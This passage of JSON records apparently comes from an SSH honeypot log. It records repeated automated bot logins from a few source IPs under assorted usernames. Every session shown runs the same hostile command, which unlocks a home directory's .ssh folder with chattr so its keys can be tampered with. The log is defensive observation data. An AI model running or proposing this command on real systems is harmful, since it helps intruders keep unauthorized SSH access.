"ended_at": "2026-08-27T12:00:02.199792+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2201 }, { "id": "fdc83405-d69b-4c4d-97a4-88a93d5b90cd", "name": "foggy-hearty-mongoose", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 55200, "username": "ben", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 267, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:59:30.677901+00:00", "ended_at": "2026-08-27T11:59:32.432505+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2244 }, { "id": "82b21af0-6317-4ca6-aa7a-7690d2eea1b4", "name": "nautical-glassy-nightjar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59356, "username": "harsh", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 454, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:59:14.999710+00:00", "ended_at": "2026-08-27T11:59:16.189008+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "2e00d555-5ed4-4392-8b86-81cdb972bf6e", "name": "lonesome-sleepy-kestrel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 33432, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 347, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:58:03.193437+00:00", "ended_at": "2026-08-27T11:58:05.147503+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2190 }, { "id": "d53cdf74-acd9-4bbd-83fb-b23108eed00a", "name": "craggy-patient-wolverine", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 55448, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 294, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:58:00.026031+00:00", "ended_at": "2026-08-27T11:58:01.921668+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "2d1fa421-ff93-4aed-aa57-06924028b8a9", "name": "inland-tranquil-cicada", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 39950, "username": "arthur", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 264, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:57:29.746128+00:00", "ended_at": "2026-08-27T11:57:31.557802+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2251 }, { "id": "aae1788c-398f-4c09-8467-32195a70a5c0", "name": "amber-tidal-chamois", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 45858, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 732, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:57:25.006006+00:00", "ended_at": "2026-08-27T11:57:26.484519+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "60aa76e5-0542-4bdd-8123-357a61fd53bf", "name": "silent-eager-pheasant", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59312, "username": "frappe", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 443, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:56:36.170693+00:00", "ended_at": "2026-08-27T11:56:37.407084+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2261 }, { "id": "49ccb497-05db-4148-8304-2c5d508b062b", "name": "curious-obsidian-bluebird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 60504, "username": "tempuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 297, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:56:00.052498+00:00", "ended_at": "2026-08-27T11:56:01.489475+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2187 }, { "id": "88eaab01-6b19-4586-ab2b-498b94696841", "name": "glacial-lonesome-pochard", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 53458, "username": "cps", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 327, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:55:59.814215+00:00", "ended_at": "2026-08-27T11:56:01.897737+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2169 }, { "id": "4d5d54b5-edc6-428e-9c7d-75a731c96b29", "name": "wistful-patient-cassowary", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 51392, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 261, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:55:38.100034+00:00", "ended_at": "2026-08-27T11:55:40.302328+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "8dde47fb-39c4-4a49-b66c-fade3d342879", "name": "blazing-barren-pipit", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 40608, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 746, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:54:33.356037+00:00", "ended_at": "2026-08-27T11:54:34.786889+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2254 }, { "id": "b35078f3-5fb4-43f6-b112-bf371f237986", "name": "lawful-amber-avocet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 42784, "username": "ftpuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:53:59.205091+00:00", "ended_at": "2026-08-27T11:54:00.212862+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2162 }, { "id": "31cedce7-da43-41ae-8b8c-2ea89c78e982", "name": "noble-gallant-albatross", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 37162, "username": "arash", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 301, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:53:58.013089+00:00", "ended_at": "2026-08-27T11:53:59.410019+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2173 }, { "id": "aa97e1aa-5e37-405e-b2e6-db81e26da46f", "name": "misty-downy-greenfinch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59280, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 457, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:53:52.582483+00:00", "ended_at": "2026-08-27T11:53:53.880658+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "49149378-e990-4c2e-9b75-a4bd2715635e", "name": "prairie-wistful-martin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 51632, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 264, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:53:37.567910+00:00", "ended_at": "2026-08-27T11:53:39.758008+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "faf1ed23-d01e-449e-a490-07bd77bfa5a5", "name": "whispering-woven-mongoose", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 47952, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 330, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:51:56.198137+00:00", "ended_at": "2026-08-27T11:51:58.401380+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2205 }, { "id": "fede980d-dd7e-465c-aa04-702f917a7a06", "name": "sunlit-crystal-coyote", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 59174, "username": "ftpuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 297, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:51:47.943883+00:00", "ended_at": "2026-08-27T11:51:49.768626+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2162 }, { "id": "3c33f36c-a630-46af-b19d-d6e7e7451b5e", "name": "coastal-quiet-avocet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 33290, "username": "remoteuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 756, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:51:34.626497+00:00", "ended_at": "2026-08-27T11:51:36.118195+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2251 }, { "id": "07fadb69-3a03-4cd7-b445-c508a052a31a", "name": "forlorn-kindly-hyrax", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 48686, "username": "tomcat", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 279, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:51:34.450292+00:00", "ended_at": "2026-08-27T11:51:36.487603+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2247 }, { "id": "6e831502-1d1c-425e-bc76-b0098dc56c16", "name": "downy-crystal-lorikeet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59254, "username": "azureuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 460, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:51:07.585521+00:00", "ended_at": "2026-08-27T11:51:09.054208+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "e1f66112-87f6-47df-a41b-341a29ff54b1", "name": "foggy-alpine-lapwing", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 40216, "username": "ansible", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 327, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:49:59.749424+00:00", "ended_at": "2026-08-27T11:50:01.495060+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2150 }, { "id": "644e4b81-4b47-4b7d-8f6c-f861c58a1d6b", "name": "calm-wooded-shelduck", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 32910, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 299, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:49:46.426661+00:00", "ended_at": "2026-08-27T11:49:47.938006+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2205 }, { "id": "698fee8c-2b89-46d0-b4cc-02b7c9959eb1", "name": "nautical-meadow-tanager", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 34680, "username": "stefan", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 260, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:49:34.676771+00:00", "ended_at": "2026-08-27T11:49:36.574511+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "389c32c9-156e-4ee3-8363-321d6eea2cc4", "name": "shaded-placid-eagle", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 51716, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 781, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:48:39.937153+00:00", "ended_at": "2026-08-27T11:48:41.766906+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "f2544d60-9dc4-4444-9fbe-2c1275375ffe", "name": "gleaming-twilight-brambling", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59226, "username": "suhail", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 449, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:48:21.401089+00:00", "ended_at": "2026-08-27T11:48:22.834572+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2251 }, { "id": "00030452-c690-4616-bbdc-5492e2710ee0", "name": "graceful-glacial-teal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 37640, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 347, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:48:01.797262+00:00", "ended_at": "2026-08-27T11:48:03.011742+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2183 }, { "id": "8f2732d6-d038-4dc0-a35d-551ca9dc0e00", "name": "western-patient-wolverine", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 57440, "username": "daniel", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 288, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:47:33.422639+00:00", "ended_at": "2026-08-27T11:47:34.811523+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2155 }, { "id": "ae484628-f50a-4b60-b94c-163b3c388937", "name": "glacial-regal-antelope", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 55856, "username": "whatsapp", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 263, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:47:29.864277+00:00", "ended_at": "2026-08-27T11:47:31.822564+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2263 }, { "id": "5cde8efb-2e28-4eef-8915-be0e7315f5c5", "name": "honest-thawing-cicada", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 39746, "username": "daniel", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:45:57.022104+00:00", "ended_at": "2026-08-27T11:45:58.436862+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2133 }, { "id": "79ebdf76-ed7c-4355-95b7-93cad5300fce", "name": "ruddy-solar-onager", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 40406, "username": "huser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 1303, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:45:43.763868+00:00", "ended_at": "2026-08-27T11:45:45.556381+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2247 }, { "id": "cc4aff71-36c6-4253-bb14-82644f66ca46", "name": "snowy-airy-heron", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 39684, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 265, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:45:36.791237+00:00", "ended_at": "2026-08-27T11:45:38.839540+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "4e206720-f61b-40ef-bd09-5e14bf814593", "name": "diligent-earnest-nuthatch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59210, "username": "huser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 447, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:45:30.084868+00:00", "ended_at": "2026-08-27T11:45:31.382747+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2256 }, { "id": "b4cea9e1-3b11-4ff1-adaf-d947918878b5", "name": "frank-foggy-avocet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 55802, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 294, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:45:25.825292+00:00", "ended_at": "2026-08-27T11:45:27.889315+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2183 }, { "id": "35d65587-5e48-476d-b292-410e632ac2a8", "name": "brisk-vernal-bison", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 52084, "username": "test", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:43:58.000327+00:00", "ended_at": "2026-08-27T11:43:59.549429+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2118 }, { "id": "f0c3c9f2-c326-4b0e-aa47-ce9964411f8b", "name": "tangled-gloomy-redstart", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 51330, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 261, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:43:36.779184+00:00", "ended_at": "2026-08-27T11:43:37.774544+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "6d31d880-393f-40cb-bce0-572b4babfd4d", "name": "jovial-distant-quoll", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 39682, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 291, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:43:19.708244+00:00", "ended_at": "2026-08-27T11:43:21.106677+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2172 }, { "id": "1427ae0c-299a-441f-be36-4cd1f2b5d923", "name": "hazel-sandy-jerboa", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59190, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 456, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:42:48.712893+00:00", "ended_at": "2026-08-27T11:42:49.880090+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2291 }, { "id": "a9d9933a-f24d-47c7-b13f-224b574093e8", "name": "icy-patient-anteater", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 47686, "username": "user14", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 884, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:42:43.634788+00:00", "ended_at": "2026-08-27T11:42:45.278090+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2225 }, { "id": "f82edd59-1d77-4e21-aabc-38e643c9955c", "name": "steady-emerald-bobcat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 42768, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:41:54.297613+00:00", "ended_at": "2026-08-27T11:41:55.633851+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2150 }, { "id": "9eac5760-2272-4284-9c94-36fd1e49ffbb", "name": "umber-twilight-goshawk", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 44376, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 265, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:41:40.284750+00:00", "ended_at": "2026-08-27T11:41:41.525679+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "7d4b415a-43b3-43d8-a0cb-ff2a3ce124f5", "name": "hazel-buoyant-pelican", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 60424, "username": "cuckoo", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 295, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:41:12.249331+00:00", "ended_at": "2026-08-27T11:41:14.246162+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2110 }, { "id": "3714f82b-a475-4738-8c29-603e0ca03865", "name": "hazy-merry-springbok", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59156, "username": "fs", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 448, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:40:03.459700+00:00", "ended_at": "2026-08-27T11:40:05.021398+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2221 }, { "id": "ae469160-671c-4a28-ba45-450fa52a6ad1", "name": "orderly-quartz-quoll", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 56544, "username": "radius", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 1010, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:39:50.876941+00:00", "ended_at": "2026-08-27T11:39:53.188496+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2220 }, { "id": "3b68326b-5aa3-401b-bd27-1a060294ab3f", "name": "jovial-obsidian-kakapo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 49492, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 274, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:39:40.711783+00:00", "ended_at": "2026-08-27T11:39:41.785704+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "faae66eb-6f6c-4422-bff1-f43d752da64c", "name": "burly-clever-caracal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 60628, "username": "debian", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 294, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:39:06.381638+00:00", "ended_at": "2026-08-27T11:39:08.291010+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2107 }, { "id": "8cfa3a5a-651c-4953-aec2-2d764a29de42", "name": "drifting-amiable-tanager", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 41464, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 329, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:38:02.282253+00:00", "ended_at": "2026-08-27T11:38:04.558531+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2139 }, { "id": "cd3b0015-fb4b-40cd-99fa-6a8b36ea71d4", "name": "barren-gnarled-avocet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 37934, "username": "ram", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 280, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:37:42.249902+00:00", "ended_at": "2026-08-27T11:37:43.573831+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2246 }, { "id": "7721f4ad-4e82-489a-bbb8-fabdb93f19bd", "name": "steady-freckled-goshawk", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59126, "username": "marco", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 457, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:37:28.743030+00:00", "ended_at": "2026-08-27T11:37:30.363744+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2211 }, { "id": "aabbf096-4217-4e17-88bf-ed63e4672b81", "name": "thrifty-umber-civet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 33370, "username": "test", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 301, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:37:15.360384+00:00", "ended_at": "2026-08-27T11:37:16.737688+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2096 }, { "id": "cfc4bd2b-d7d2-4909-869e-dd8260b74390", "name": "cunning-bashful-vole", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 54944, "username": "zsolt", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 733, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:36:56.632904+00:00", "ended_at": "2026-08-27T11:36:57.998390+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2206 }, { "id": "cbd5b6dc-9f75-425d-995c-e3c96f367da3", "name": "thorny-humble-gannet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 58122, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 329, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:35:53.031371+00:00", "ended_at": "2026-08-27T11:35:54.476890+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2078 }, { "id": "972cfab2-cae0-46fa-8917-c5bc113c95f1", "name": "crystal-civil-mallard", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 58178, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 275, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:35:38.853087+00:00", "ended_at": "2026-08-27T11:35:40.500507+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2246 }, { "id": "0ee2dc75-00d8-44cb-bb80-f67c2bde8732", "name": "shaded-thawing-panther", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 52936, "username": "root", "client_version": 